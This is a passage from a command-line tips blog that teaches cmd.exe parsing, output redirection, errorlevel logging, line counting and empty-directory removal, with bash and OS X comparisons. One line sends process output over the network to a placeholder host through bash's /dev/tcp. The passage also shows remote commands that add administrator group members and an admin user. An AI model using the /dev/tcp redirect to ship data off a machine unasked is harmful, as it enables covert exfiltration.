  

[code]    C:\> FOR /F ["options"] %i in ('[command1]') do @[command2]

    
[/code]

  
FOR /F takes each line of output from \[command1\], and breaks it down,
assigning portions of its output to the iterator variable\(s\) we specify,
such as %i in this example. The "options", which must be surrounded in double
quotes, are where we get to specify our parsing. One of our options is how
many lines we want to skip in the output of \[command1\] before we want to
start our parsing operation. By indicating "skip=2", we'd skip the first two
lines of output, often column titles and a blank line or ------ separators.  
  
Once we skip those lines, FOR /F will parse each line based on additional
options we specify. By default, FOR /F breaks lines down using delimiters of
spaces and tabs. To use something else, such as commas and periods, you could
specify "delims=,.". All such characters will be sucked out of our output, and
the remaining results will be assigned to the variables we specify. If I have
output text that includes one or more annoying characters that I want to go
away, I'll make it a delimeter. I did this in Episode \#43 to get rid of a
stray \* that the "net localgroup" command put in its output.  
  
Once we specify our skip and delims \(with syntax like "skip =2 delims=,."\),
we then have the option of associating variables with output elements using
the "tokens=" syntax. If we just want the first item that is not part of our
delimiters to be assigned to our %i variable, we don't have to specify
"tokens=\[whatever\]" at all. But, suppose we wanted the first and third
elements of the output of command1 to be assigned to our iterator variables.
We'd then specify "tokens=1,3". Note that we don't have to actually create any
more variables beyond the initial that we specify \(%i in a lot of my
examples\), because the FOR /F command will automatically make the additional
variable associated with our tokens declaration by simply going up the
alphabet. That is, if we specify FOR /F "tokens=1,3" %i ... the first
component of our output other than our delimiters will be assigned to variable
%i, and the third component will be assigned to %j. The FOR /F loop auto
creates %j for us. We can also specify ranges of tokens with "tokens=1-5",
which will automatically assign our first component of output to our first
variable \(such as %i\) and auto create %j, %k, and so on for us, up to five
variables in this example. And, finally, if you want the first element of your
output dumped into your first variable, and everything else, including
delimiters, dumped into a second variable, you could specify "tokens=1,\*" as
I did in Episode \#26.  
  
Whew\! That's an ugly form of parsing, but it usually does what we need.  
  

  3. But not always... sometimes, we need one extra kicker -- the ability to do substring operations. Our cmd.exe shell supports creating and displaying substrings from variables, using the syntax %var:~N,M%. This causes cmd.exe to start displaying var at an offset of N characters, printing out M characters on the screen. We start counting offsets at zero, as any rational person would do. They are offsets, after all, so the first character is at offset zero. Let's look at some examples using a handy predefined environment variable: %date%:  
  

[code]    C:\> echo %date%  
    Mon 06/22/2009
    
[/code]

  
If we want only the day of the week, we could start at the zero position and
print out three characters like this:  

[code]    C:\> echo %date:~0,3%  
    Mon
    
[/code]

  
If you want the year, you could start at the end and go back four characters
with a -4 as our offset into the variable:  

[code]    C:\> echo %date:~-4,4%  
    2009
    
[/code]

  
If you only put in the start character, it'll display your variable from that
offset all the way through the end:  

[code]    C:\> echo %date:~4%  
    06/22/2009
    
[/code]

[code]    C:\> echo %date:~-4%  
    2009
    
[/code]

Now, there's one more little twist here. When doing heavy parsing, we often
want to perform substring operations on a variable that we've parsed out of a
command using a FOR /F loop. For example, suppose that I want to run the
command "dir c:\temp" in a FOR /F loop so I can parse each line of its output,
and I want to select the time field. But let's also assume that I only want
the single minutes digit of the time field. In other words, when dir c:\ shows
this:  
  

[code]    C:\> dir c:\temp  
    Volume in drive C has no label.  
    Volume Serial Number is 442A-03DE  
      
    Directory of C:\temp  
      
    05/19/2009  10:16 AM                   .  
    05/19/2009  10:16 AM                   ..  
    05/19/2009  10:02 AM                22 stuff1.txt  
    05/19/2009  10:02 AM                22 stuff1.txt.bak  
    05/19/2009  10:03 AM                43 stuff2.txt  
    05/19/2009  10:03 AM                43 stuff2.txt.bak  
         4 File(s)            130 bytes  
         2 Dir(s)  17,475,887,104 bytes free
    
[/code]

  
What's I'd really like to see is:  

[code]    6  
    6  
    2  
    2  
    3  
    3
    
[/code]

  
Why would I want this? I have no idea. Perhaps I just like to parse for
parsing's sake. OK?  
  
Anyway, you might try the following:  
  

[code]    C:\> FOR /F "skip=4 tokens=2" %i in ('dir c:\temp') do @echo
%i:~-1,1%

    
[/code]

  
That doesn't work, because we can only do substring operations on environment
variables, not the iterator variables of a FOR loop. You'll just get the ugly
":~-1,1%" displayed after each timestamp, because %i is expanded to its value
without any substring operation taking effect. OK, you might then reason...
I'll just save away %i in an environment variable called a, and then perform
substring operations on that, as follows:  

[code]    C:\> FOR /F "skip=4 tokens=2" %i in ('dir c:\temp') do @set a=%i &
echo %a:~-1,1%

    
[/code]

  
No love there either. You'll just see either a hideous "%a:~-1,1%" displayed
on your output if the environment variable a isn't already set. Or, if a was
already set before this command ran, you'd see the last character of what it
was already set to, a constant value on your screen.  
  
The culprit here is that cmd.exe by default does immediate environment
variable expansion, so that your echo command is immediately expanding %a to
its value right when you hit ENTER. It never changes while the command is
running, because its value is fixed at the time the command was started. We
want %a's value to change at each iteration through the loop, so we need
delayed environment variable expansion for our command. To achieve this, we
can launch a new cmd.exe, with the /v:on option to perform delayed environment
variable expansion, and the /c option to make it run our FOR command. Oh, and
when we do this, we have to refer to all variables whose expansion we want
delayed as \!var\! instead of %var%. The result is:  
  

[code]    C:\> cmd.exe /v:on /c "FOR /F "skip=4 tokens=2" %i in ('dir
c:\temp') do  
        @set a=%i & echo !a:~4,1!"
    
[/code]

  
That delayed environment variable expansion is annoying, but I periodically
resort to it, as you've seen in Episodes \#12 and \#46.  

Using these different options of FOR /F loops and substring operations, we can
have fairly flexible parsing. It's not as easy as the parsing options offered
in bash, but we can usually make do.  
  
Ed finishes by musing about PowerShell a bit:  
So, we've seen Hal's parsing tips in bash, along with my approach to parsing
in cmd.exe. In my adventures with PowerShell, I've noticed something quite
interesting \(at least for an old shell guy like me\). I almost never need to
parse\!  
  
In most shells, such as bash and cmd.exe, we have streams of output and/or
error from one command that we have to format properly so another command can
handle it as input. In PowerShell, the pipeline between cmdlets carries
objects, often with several dozen properties and methods. We shuffle these
objects and their associated stuff from cmdlet to cmdlet via pipes, selecting
or refining whole objects along the way. We usually don't need to parse before
we pipe, because we want the entire objects to move through the pipeline, with
all their glorious properties and methods. If we want output, we can almost
always display exactly the properties we want, in the order we want, and
typically in a format that we want. It's very cool and efficient. Dare I say
it? Could it be I'm falling in love with PowerShell?  
  
Anyway, it occurred to me that when it comes to the need for parsing, cmd.exe
and bash are far more similar to each other than either is to PowerShell.  
  
Just sayin'.

Posted by Hal Pomeranz at 5:00 AM <img src='img/Temp2_1521.gif' width='18'
height='18' />

## Tuesday, June 16, 2009

### Episode \#47: Fun with Output Redirection and Errorlevels

Ed begins thusly:  
  
We really love it when readers write in with suggestions and questions for our
hearty band of shell aficionados. Diligent reader Curt Shaffer writes in with
a suggestion:  
  
I have been following this blog for some time. I learn more and more every day
and not just for pen testing but system administration as well. For that I
thank everyone involved\! It has come to a point where I just want to script
and do everything from the command line on Windows. I have always opted for
command line on Linux. My question/suggestion is to do an episode detailing
how we might get output into a log file on commands we run. I know now that
2>c:\log.txt or something similar will provide standard error but what I would
like to see is where it possibly errored out. Here is an example:  
  
I want to script adding a group to local administrators for all servers on the
network. I get them all into a text file called Servers.txt. I then do the
following:  
  

[code]

    C:\> for /f %a in (C:\Servers.txt) do psexec \\%a net localgroup  
        "administrators" "domain\server-admin-gg" /add
[/code]

Now that should work just fine I believe. The problem is because I need to be
sure this happened, I would like to capture the data of failures. So I know I
can add a 2>c:\error.txt. What I would like though is a central log file that
would give me something along the lines of %a and the error. \(i.e. Server 1 –
Access Denied, Server 2 – OK, Server 3—OK, Server 4 –Access Denied etc\) or
something to that effect so I can know which were not successful so I can go
back and make sure they get it.  
  
I have to say, Curt, I like the cut of your jib. This is a good question, and
its answer will open up areas we haven't yet talked much about in this blog --
output redirection, file descriptor duplication, and ways to deal with and
record errorlevels. Thank you for the great suggestion\!  
  
First off, it should be noted that you don't have to wrap your psexec in a FOR
/F loop to run it against multiple machines. The psexec command \(not built-
into Windows, but downloadable from Microsoft Sysinternals\) has an @filename
option, which causes it to run the given command on each remote system listed
in filename. I'm going to work with your provided command with the FOR /F loop
as is, though, because I think it'll keep our answer here more generally
applicable to uses other than just psexec.  
  
Now, as you point out, we can capture standard error information via the file
descriptor 2, and send it to a file with a simple redirection
\(2>c:\error.txt\). To capture both standard error and standard output we
could append the following to our command:  
  

[code]

    [command] > results.txt 2>&1
    
[/code]

  
The first part of this is taking the standard output of our command and
dropping it into the results.txt file \(> results.txt\). This is actually a
shortened form of explicitly referring to our standard out using the file
descriptor 1. We could write it as 1>results.txt if we wanted to be a little
more explicit. Now, we want to dump standard error into the same place that
standard output is going. If we simply did "2>1", we'd have a problem, because
standard output \(1\) is already busy dumping stuff into results.txt. The
syntax "2>&1" tells the shell that we want standard error to be connected to a
duplicate of standard output, which itself is already connected to the
results.txt file. So, we get both standard output and standard error in the
results.txt file.  
  
We've got to get the order right here. If you transpose these redirects with
"\[command\] 2>&1 > results.txt", you wouldn't capture standard error, because
your standard error will be dumped to standard output \(the screen by
default\) before you redirect it to the results.txt file. In other words, you
will see standard error on the screen, and your results.txt will only get
standard output.  
  
Now, I'm sure my shell sparring buddies will point out that their blessed
little bash shell supports a nice shortened construct to make this a little
easier to type. In bash, you can replace all of this with a simple
&>results.txt. Let me preemptively point out that cmd.exe doesn't support
that. Sorry, but cmd.exe, but its very nature, makes us work harder.  
  
OK, so with that in hand, and realizing that we can append with >>, we can
tweak Curt's command a bit to achieve his desired results:  
  

[code]

    C:\> for /f %a in (C:\Servers.txt) do @psexec \\%a net localgroup "administrators"  
        "domain\server-admin-gg" /add >> c:\results.txt 2>&1
    
[/code]

  
  
Curt also asked how he could get a copy of %a in his output. Well, we could do
that using an "echo %a", adding a few dash marks to separate our output:  
  

[code]

    C:\> for /f %a in (C:\Servers.txt) do @echo %a---------- >> c:\results.txt & psexec  
        \\%a net localgroup "administrators" "domain\server-admin-gg" /add >>  
        c:\results.txt 2>&1
    
[/code]

  
Now, that'll work, Curt, but your output will contain everything that psexec
displays. That's a bag chock full of ugly. Can we make it prettier, and
explore a little more flexibility of cmd.exe and error messages? You bet we
can, using our good friends && and ||.  
  
If a command succeeds, it should set the %errorlevel% environment variable to
0. Otherwise, it sets it to some other value. Please note that not all Windows
commands properly set this errorlevel\! You should experiment with a command
first to make sure the errorlevel is set as you wish by running your command
followed by "& echo %errorlevel%". Run your command in a successful fashion
and also in a way that makes it fail, and verify that %errorlevel% functions
as you desire -- with 0 for success and a non-zero value for failure.  
  
The psexec command does set the errorlevel to 0 if the command it runs on the
target machine succeeds, provided that we don't use the -d option. Invoked
with -d, psexec runs a command on the target machine in detached mode
\(running it without access to its standard input, output, and error\). Since
2005, psexec with the -d switch will return the processid that it created on
the target. Anyway, here, we're not using -d, so we should be cool with the
%errorlevel% value. But, consider yourself warned about psexec, -d,
%errorlevel%, and processids.  
  
We could use an "IF %errorlevel% equ 0" statement to put in some logic about
what to store for a result based on this %errorlevel% value, but that's a lot
to type into a shell. I'd do it in a heartbeat for a script, but let's keep
this focused on more human-typable commands. Instead of IF errorlevel stuff,
we can use the shorthand \[command1\] && \[command2\] || \[command3\]. If
command1 succeeds, command2 will run. If command1 has an error, command3 will
execute.  
  
The result gives us pretty much complete control of the output of our command:  
  

[code]

    C:\> for /f %a in (C:\Servers.txt) do @echo %a---------- >> c:\results.txt & psexec  
        \\%a net localgroup "administrators" "domain\server-admin-gg" /add >nul &&  
        echo Success >> c:\results.txt || echo Failure >> c:\results.txt  
      
    C:\> type c:\results.txt  
    10.1.1.1----------  
    Failure  
    10.1.1.4----------  
    Success  
    10.1.1.12----------  
    Success  
    10.1.1.100----------  
    Failure  
    
    
[/code]

  
But, you know, somehow it just feels wrong to throw away all of those details
in nul. The psexec command goes to all the trouble of creating them... we can
at least store them somewhere for later inspection. How about we create two
files, one with a summary of Success or Failure in results.txt and the other
with all of our standard output and standard error in details.txt? We can do
that by simply combining the above commands to create:  
  

[code]

    C:\> for /f %a in (C:\Servers.txt) do @echo %a---------- >> c:\results.txt & psexec  
        \\%a net localgroup "administrators" "domain\server-admin-gg" /add >>  
        c:\details.txt 2>&1 && echo Success >> c:\results.txt || echo Failure >>  
        c:\results.txt
    
[/code]

  
The results.txt has a nice summary of what happened, and all of the details
are in details.txt.  
  
Fun, fun, fun\!  
  
Verily Hal doth proclaim:  
  
It's fairly obvious that the Windows command shell has... "borrowed" a certain
number of ideas from the Unix command shells. Nowhere is it more obvious than
with output redirection. The syntax that Ed is demonstrating above for Windows
is 100% the same for Unix. For example, you see this construction all the time
in cron jobs and scripts where you don't care about the output of a command:  
  

[code]

    **/path/to/some/command >/dev/null 2> &1**
[/code]

  
You know, Ed. I wasn't going to rag you at all about Windows lacking the "&>"
syntax-- I personally prefer ">... 2>&1" \(even though it's longer to type\)
because I think it documents what you're doing more clearly for people who
have to maintain your code. Still, if I had to spend my life working with that
sorry excuse for a shell, I guess I'd be a little defensive too.  
  
Anyway, we can also emulate Ed's final example as well. In fact, it's a little
disturbing how similar the syntax ends up looking:  
  

[code]

    **for a in $( < servers.txt); do  
       echo -n "$a " >>results.txt  
       ssh $a usermod -a -G adm,root,wheel hal >>details.txt 2>&1 \  
    && echo Success >>results.txt || echo Failure >>results.txt  
    done**
[/code]

  
Of course the command I'm running remotely is different, because there's no
real Unix equivalent of what Curt is trying to do, but you can see how closely
the output redirections match Ed's Windows command fu. To make the output
nicer, Unix has "echo -n", so I can make my "Success/Failure" output end up on
the same line has the host name or IP address. Neener, neener, Skodo.  
  
There are all kinds of crazy things you can do with output redirection in the
Unix shell. Here's a cute little idiom for swapping standard input and
standard error:  
  

[code]

    **/path/to/some/command 3> &1 1>&2 2>&3**
[/code]

  
Here we're creating a new file descriptor numbered 3 to duplicate the standard
output-- normally file descriptor 1. Then we duplicate the standard error
\(descriptor 2\) on file descriptor 1. Finally we duplicate the original
standard output handle that we "stored" in our new file descriptor 3 and
associate that with file descriptor 2 to complete the swap. This idiom can be
useful if there's something in the error stream of the command you want to
filter on. By the way, just to give credit where it's due, I was reminded of
this hack from a posting on the CommandLineFu blog by user "svg" that I
browsed recently.  
  
But here's perhaps the coolest output redirection implemented in bash:  
  

[code]

    **ps -ef >/dev/tcp/host.example.com/9000**
[/code]

  
Yes, that's right: you can redirect command output over the network to another
machine at a specific port number. And, yes, you can use the same syntax with
/dev/udp as well. It's like "netcat without netcat"... hmmm, where have I
heard that before? Oh, that's right\! That was the title of Ed's talk where he
showed me this little tidbit of awesomeness.  
  
Some notes about the "... >/dev/tcp/..." redirection are in order. This syntax
is a property of the bash shell, not the /dev/tcp device. So you can't use
this syntax in ksh, zsh, and so on. Furthermore, some OS distributions have
elected to disable this functionality in the bash shell-- notably the Debian
Linux maintainers \(which means it also doesn't work under Ubuntu and other
Debian-derived distributions\). Still, the syntax is portable across a large
number of Unix and Linux variants-- I use it on Solaris from time to time, for
example.  
  
Paul Chimes In:  
  
I have to say, I'm a bit dizzy after trying to figure out a way to add a users
and groups via the command line in OS X Leopard. In fact, this is where I got
stuck trying adapt the Windows and UNIX/Linux concepts above to OS X.
User/groups creation in OS X is very different from Windows and UNIX/Linux,
and even varies depending on which version of OS X you are running. So far
I've go this in order to just create a user in the latest version of Leopard:  
  

[code]

    dscl . -create /Users/testuser  
    dscl . -create /Users/testuser UserShell /bin/bash  
    dscl . -create /Users/testuser RealName "Test User"  
    dscl . -create /Users/testuser UniqueID 505   
    dscl . -create /Users/testuser PrimaryGroupID 80   
    dscl . -create /Users/testuser NFSHomeDirectory /Users/testuser   
    dscl . -passwd /Users/testuser supersecretpassword  
    dscl . -append /Groups/admin GroupMembership testuser
    
[/code]

  
  
The article How to: Add a user from the OS X command line, works with
Leopard\! was extremely useful and documented several methods. Also, there is
a really neat shell script published called "Create & delete user accounts
from the command line on Mac OS X". One important item to note, most of the
documentation either says to reboot or logout and back in again in order to
see the new user \(yuk\). So, I hope the above examples and resources provide
you with enough information to adapt the techniques covered in this post for
OS X administration, and I plan to cover more on this in upcoming episodes.

Posted by Ed Skoudis at 5:00 AM <img src='img/Temp2_1521.gif' width='18'
height='18' />

## Monday, June 8, 2009

### Episode \#46: Counting Matching Lines in Files

IMPORTANT ANNOUNCEMENTS\!  
As much as we enjoy beating each other silly with our command line kung fu, we
are going to tweak things around here on this blog a bit. Instead of our
relentless 3-times per week posting, we're going to move to a once per week
posting rate here. We'll have new fu for you each Tuesday, 5 AM Eastern. That
way, you'll be able to schedule a weekly date with our hearty band of shell
warriors. You could set aside lunch every Tuesday with us... or Wednesday...
or an hour each weekend. Or, some evening during the week, you could cook a
nice meal, light up some soft candles, put on some romantic music, and then
enjoy your meal spending time reading our weekly missive. Yeah\! That's the
ticket\!  
  
Oh, and one more little announcement. I'll be teaching my Windows Command-Line
Kung Fu course via the SANS@Home system in a couple of weeks \(June 22 and
23\). The class runs on-line from 7 until 10 PM EDT, and I'll be your live
instructor. It's a fun class that is designed to give security and sys admin
people practical advice for using the Windows command-line to do their jobs
better. It's not a regurgitation of what's on this blog, but instead gets
really deep into useful commands such as WMIC, sc, tasklist, and much more. If
you like this blog, the course is ideal for you.  
  
The course normally costs about a thousand dollars live and $825 via @Home.
But, SANS is offering a big discount for friends and readers of this blog. The
course is $412.50 if you use the discount code of "Foo". Sign up at
https://www.sans.org/athome/details.php?nid=19514  
  
Thanks\!  
\--Ed Skoudis.  
  
And now... back to your regularly scheduled fu... Here's a fun episode for
you\!  
  
Hal's back at it again:  
  
I had another one of those counting problems come up recently, similar to our
earlier Browser Count Torture Test challenge. This time my customer needed me
to count the number of instances of a particular string in each of several
dozen files in a directory. In my case I was looking for particular types of
test cases in a software regression test suite, but this is also useful for
looking for things like IP addresses in log files, vulnerabilities in
assessment tool reports, etc.  
  
For a single file, it would be easy enough to just:  
  

[code]

    $ **grep TEST file1 | wc -l**  
     11
    
[/code]

  
But we want to operate over a large number of files, which means we somehow
need to associate the name of the file with the output of "wc -l".  
  
So I created a loop that does the main part of the work, and then piped the
output of the loop into awk for some pretty-printing:  
  

[code]

    $ **for f in *; do echo -n "$f  "; grep TEST $f | wc -l; done | \  
     awk '{t = t + $2; print $2 "\t" $1} END {print t "\tTOTAL"}'**  
    11 file1  
    8 file2  
    14 file3  
    31 file4  
    12 file5  
    7 file6  
    3 file7  
    25 file8  
    19 file9  
    22 file10  
    19 file11  
    22 file12  
    10 file13  
    203 TOTAL
    
[/code]

  
Inside the loop we're first spitting out the filename and a couple of spaces, but _no newline_. This means that the output of our "grep ... | wc -l" will appear on the same line, immediately following the filename and the spaces.  
  
The only problem I had with the basic loop output was that the file names had
very irregular lengths \(unlike the sample output above\) and it was difficult
to read the "wc -l" data because it wasn't lined up neatly in a column. So I
decided to do some post-processing with awk. The main part of the awk code
keeps a running total of the values we've read in so far \(you saw me using
this idiom previously in Browser Count Torture Test\). But you'll also notice
that it reverses the order of the two columns and also inserts a tab to make
things line up nicely \('print $2 "\t" $1'\). In the "END" block we output the
"TOTAL" once the entire output from the loop has been processed.  
  
I love the fact that the shell lets me pipe the output of a loop into anther
tool like awk for further processing. This lets me grind up a bunch of data
from many different sources into a single stream and then operate on this
stream. It's an idiom I use a lot.  
  
Paul Chimes In:  
  
Thats some pretty sweet command kung fu\! When I first read this I immediately
put it to good use, with some modifications of course. I frequently find
myself needing to search through 28,000+ files and look for certain strings.
My modifications are as follows:  
  
$ for f in \*; do echo -n "$f "; grep -i xss $f | wc -l; done | awk '\{t = t + $2; print $2 "\t" $1\} END \{print t "\tTOTAL"\}' | egrep -v '^0' | sort -n  
  
I really didn't care about files that did not contain at least one occurance
of my search string so I sent it to egrep with "-v" which shows me only
results which do NOT contain the search term. My regular expression "^0" reads
as, "only show me lines that begin with 0", which when combines with the "-v"
removes all lines that begin with 0. Now, I could have used a filter with awk,
but the syntax was not cooperating \(i.e. awk /\[regex\]/ \{\[code\]\}\). Then
I wanted to see a sorted list so I ran it through "sort -n".  
  
Ed retorts:  
Gee, 28,000 files, Paul? Where did ya get that number? Sounds suspiciously
like... I dunno... Nessus plug-ins. But, I digress.  
  
OK, Sports Fans... Hang on to your hats, because I'm gonna match Hal's
functionality here in cmd.exe, and it's gonna get ugly. Real ugly. But, when
we're done, our command will do what Hal wants. And, in the process, it'll
take us on an adventure through some interesting and useful features of good
ol' cmd.exe, tying together a lot of fu that we've used in piece-parts in
previous episodes. It's gonna all come together here and now. Let's dive in\!  
  
We start out simple enough:  
  

[code]

    C:\> find /c "TEST" * 2>nul | find /v ": 0"  
    ---------- FILE1: 11  
    ---------- FILE2: 8  
    ---------- FILE3: 14 
    
[/code]

  
Here, I've used the /c option of the find command to count the number of lines
inside of each file in my current directory that have the string "TEST". I
throw away error messages \(2>nul\) to avoid cruft about directories in my
output. I do a little more post processing by piping my output into find
again, to search for lines that do not have \(/v\) the string ": 0" in them,
because we don't want to display files that have our string in them zero
times.  
  
That's pretty close to what we want right there. So, we could call it a day
and just walk away.  
  
But, no.... we're kinda nuts around here, if you haven't noticed. We must
press on to get closer to Hal's insanity.  
  
The --------- stuff that find /c puts in our output is kinda ugly. Let's get
rid of that with a little parsing courtesy of FOR /F:  
  

[code]

    C:\> for /f "delims=-" %i in ('"find /c "TEST" * 2>nul | find /v ": 0""') do @echo %i  
    FILE1: 11  
    FILE2: 8  
    FILE3: 14
    
[/code]

  
Here, I'm using a FOR /F loop to parse the output of my previous command. I'm
defining custom-parsing with a delimiter of "-" to get rid of those characters
in my output.  
  
Again, we could stop here, and be happy with ourselves. We've got most of what
Hal wants, and our output is kinda pretty. Heck, our command is almost
typable.  
  
But we must press on. Hal's got totals, and we want them too. We could do this
in a script, but that's kinda against our way here, as we strive to do all of
our kung fu fighting in single commands. We'll need to add a little totaller
routine to our above command, and that's where things are going to get a
little messy.  
  
The plan will be to run the component we have above, followed by another
command that counts the total number of lines that have TEST in them and
displays that total on the screen. We'll have to create a variable called
total that we'll track at each iteration through our new counting loop. The
result is:  
  

[code]

    C:\> (for /f "delims=-" %i in ('"find /c "TEST" * 2>nul | find /v ": 0""') do  
      @echo %i) & set total=0 & (for /f "tokens=3" %a in ('"find /c "TEST" * 2>nul"')  
      do @set /a total+=%a > nul) & echo. & cmd.exe /v:on /c echo TOTAL: !total!  
    FILE1: 11  
    FILE2: 8  
    FILE3: 14  
      
    TOTAL: 33
    
[/code]

  
Although what I'm doing here is probably obvious to everyone except Hal and
Paul \(yeah, right\!\), please bear with me for a little explanation. You
know, just for Hal and Paul.  
  
I've taken my original command from above and surrounded it in parens \(\), so
that it doesn't interfere with the new totaller component I'm adding. My
totaller starts by setting an environment variable called total to zero \(set
total=0\). I then add another component in parens \(\). These parens are very
important, lest the shell get confused and blend my commands together, which
would kinda stink as my FOR loops would bleed into each other and havoc would
ensue.  
  
Next, I want to get access to the line count output of my find /c command to
assign it to a variable I can add to my total. In cmd.exe, if you want to take
the output of a command and assign its value to a variable, you can use a FOR
/F loop to iterate on the output of the command. I do that here by running FOR
/F to iterate over "find /c "TEST" \* 2>nul". To tell FOR /F that my command
is really a command, I have to wrap it in single quotes \(' '\). But, because
my command has special characters in it \(the > in particular\), I have to
wrap the command in double quotes too \(" "\). The result is wrapped in single
and double quotes \(' " " '\), a technique I use a lot such as in Episodes
\#34 and \#45. My FOR /F loop is set to tokenize around the third element of
output of this command, which will be the line count I'm looking for \(default
FOR /F parsing occurs on spaces as delimiters, and the output of -----
\[filename\]: \[count\] has the count as the third item\).  
  
Thus, %a now holds my interim line count of the occurrences of TEST for a
given file. I then bump my total variable by that amount \(set /a total+=%a\)
using the set /a command we discussed in "My Shell Does Math", Episode \#25. I
don't want to display the results of this addition on the output yet, so I
throw them away \(> nul\). When my adding loop is done \(note that all
important close parens\), I then echo a blank line \(echo.\).  
  
Now for the ugly part. I want to display the value of my total variable. But,
as we've discussed in previous episodes, cmd.exe does immediate variable
expansion. When you run a command, your environment variables are expanded to
their values right away. Thus, if I were to simply use "echo %total%" at the
end here, it would display the total value that existed when I started the
command, if such a value was even defined. But, we want to see the total value
after our loop finishes running. For this, we need to activate delayed
environment variable expansion, a trick I used in Episode \#12 in a slightly
different way.  
  
So, with my total variable set by my loop, followed by an extra carriage
return from echo. to make things look pretty, I then invoke another cmd.exe
with /v:on, which enables delayed variable expansion. I ask that cmd.exe to
run a command for me \(/c\), which is simply displaying the word TOTAL
followed by the value \!total\!. But, what's with the bangs? Normal variables
are expanded using %var%, not \!var\!. Well, when you use delayed variable
expansion, you get access to the variable's value using \!var\!. The bangs are
an artifact of delayed variable expansion.  
  
And, for the most part, we've matched Hal's functionality. Our command
reverses the file name and counts from Hal's fu, although we could go the
other way if we want with some additional logic. I prefer filename first
myself, so that's what we'll go with here.  
  
And, our descent into insanity is pretty much done for now. :\)

Posted by Hal Pomeranz at 5:00 AM <img src='img/Temp2_1521.gif' width='18'
height='18' />

## Friday, June 5, 2009

### Episode \#45: Removing Empty Directories

Hal answers the mail:  
  
Loyal reader Bruce Diamond sent some email to the "suggestions" box with the
following interesting problem:  
  

> I have a directory structure several layers deep not too dissimilar to:  
>  
>
[code]

>     Top (/)  
>     > |----/foo 1  
>     > |       |----/bar1  
>     > |       |----/bar2  
>     > |       |----/bar3  
>     > |              |----<files>  
>     > |----/sna  
>     > |       |----/fu1  
>     > |       |----/fu2  
>     > |       |----/fu3  
>     > |  
>     > |----/kil  
>     > |       |----/roy1  
>     > |       |       |----<files>  
>     > |       |  
>     > |       |----/roy2  
>     > |       |       |----<files>  
>     > |       |  
>     > |       |----/roy3
>  
[/code]

>  
>  
> My problem is, I wish to identify \(and then delete\) the directories AND
> directory trees that are really, truly empty. So, in the above example,
> /foo/bar1, /foo/bar2, /kil/roy3, and ALL of /sna, being empty of files,
> would be deleted.
  
  
The Unix answer to this challenge turns out to be very straightforward if you
happen to know about the "-depth" option to the "find" command. Good old
"-depth" means do "depth-first traversal": in other words, dive down to the
lowest level of each directory you're searching and then work your way back
up. To show you how this works, here's the "find -depth" output from Bruce's
sample directory structure:  
  

[code]

    $ **find . -depth -type d**  
    ./kil/roy1  
    ./kil/roy3  
    ./kil/roy2  
    ./kil  
    ./sna/fu1  
    ./sna/fu3  
    ./sna/fu2  
    ./sna  
    ./foo/bar3  
    ./foo/bar1  
    ./foo/bar2  
    ./foo  
    .
    
[/code]

  
To remove the empty directories, all we have to do is add "-exec rmdir \{\}
\;" to the end of the above command:  
  

[code]

    $ **find . -depth -type d -exec rmdir {} \;**  
     rmdir: ./kil/roy1: Directory not empty  
    rmdir: ./kil/roy2: Directory not empty  
    rmdir: ./kil: Directory not empty  
    rmdir: ./foo/bar3: Directory not empty  
    rmdir: ./foo: Directory not empty  
    rmdir: .: Invalid argument
    
[/code]

  
"find" is calling "rmdir" on each directory in turn, from the bottom up.
Directories that are completely empty are removed silently. Non-empty
directories generate an error message from "rmdir" and are not removed. Since
the sub-directories containing files will not be removed, their parent
directories can't be removed either. On the other hand, directories like "sna"
that contain only empty subdirectories will be completely cleaned up. This is
exactly the behavior we want.  
  
By the way, if you don't want to see the error messages you could always
redirect the standard error to /dev/null like so:  
  

[code]

    $ **find . -depth -type d -exec rmdir {} \; 2>/dev/null**
    
[/code]

  
Mr. Bucket points out that GNU find has a couple of extra options that make
this challenge even easier:  
  

[code]

    $ **find . -type d -empty -delete**
    
[/code]

  
The "-empty" option matches either empty files or directories, but since we're
specifying "-type d" as well, we'll only match empty directories \(though you
could leave off the "-type d" and remove zero length files as well, and
possibly clean up even more directories as a result\). The "-delete" option
removes any matching directories. What's cool about "-delete" is that it
automatically enables the "-depth" option so that we don't have to specify it
on the command line.  
  
Why do I have the feeling that this is another one of those "easy for Unix,
hard for Windows" challenges?  
  
Ed responds:  
Awesome question, Bruce\! Thanks for writing in.  
  
And, it turns out that this one isn't too bad in Windows after all. When I
first saw it, I thought it might get kinda ugly, especially after reading
Hal's comments above. But, then, I pulled a little trick using the sort
command, and it all worked out ok. But let's not get ahead of ourselves.  
  
You see, we can get a directory listing using our trusty old friend, the dir
command, as follows:  
  

[code]

    C:\> dir /aD /s /b .  
    [dir]\foo  
    [dir]\kil  
    [dir]\sna  
    [dir]\foo\bar1  
    [dir]\foo\bar2  
    [dir]\foo\bar3  
    [dir]\kil\roy1  
    [dir]\kil\roy2  
    [dir]\kil\roy3  
    [dir]\sna\fu1  
    [dir]\sna\fu2  
    [dir]\sna\fu3
    
[/code]

  
This command tells dir to list all entities in the file system under our
current directory \(.\) with the attribute of directory \(/aD\), recursing
subdirectories \(/s\), with the bare form of output \(/b\) -- which we use to
make the dir command show the full path of each directory. You could leave off
the . in the command, but I put it in there as a place holder showing where
you'd add any other directory you'd like to recurse this command through.  
  
Nice\! But, we can't just delete these directories listed this way. We need
some method of doing a depth-first search, simulating the behavior of the
Linux find command with it's -depth option. Well, dir doesn't do that. I
pondered this for about 15 seconds, when it hit me. We can just pipe our
output through "sort /r" to reverse it. Because sort does it's work
alphabetically, when we do a reverse sort, the shorter dir paths will come
before the longer \(i.e., deeper\) ones, so the output will actually be a
depth-first listing\! Nice\!  
  

[code]

    C:\> dir /aD /s /b . | sort /r  
    [dir]\sna\fu3  
    [dir]\sna\fu2  
    [dir]\sna\fu1  
    [dir]\sna  
    [dir]\kil\roy3  
    [dir]\kil\roy2  
    [dir]\kil\roy1  
    [dir]\kil  
    [dir]\foo\bar3  
    [dir]\foo\bar2  
    [dir]\foo\bar1  
    [dir]\foo  
    
    
[/code]

Now that we have that workable component, let's make it delete the directories
that are empty. We'll wrap the above dir & sort combo in a FOR /F loop to
iterate over each line of its output, feeding it into the rmdir command to
remove directories. If you ever want to run a command to process each line of
output of another command, FOR /F is the way to do it, specifying your
original command inside of single quotes in the in \(\) component of the FOR
/F loop. Like Hal, we'll rely on the fact that rmdir will not remove
directories that have files in them, but will instead write a message to
standard error. Truly empty directories, however, will be silently deleted.
The result is:  
  

[code]

    C:\> for /F "delims=?" %i in ('dir /aD /s /b . ^| sort /r') do @rmdir "%i"
    
[/code]

I put the "delims=?" in the FOR /F loop to dodge a bit of ugliness with the
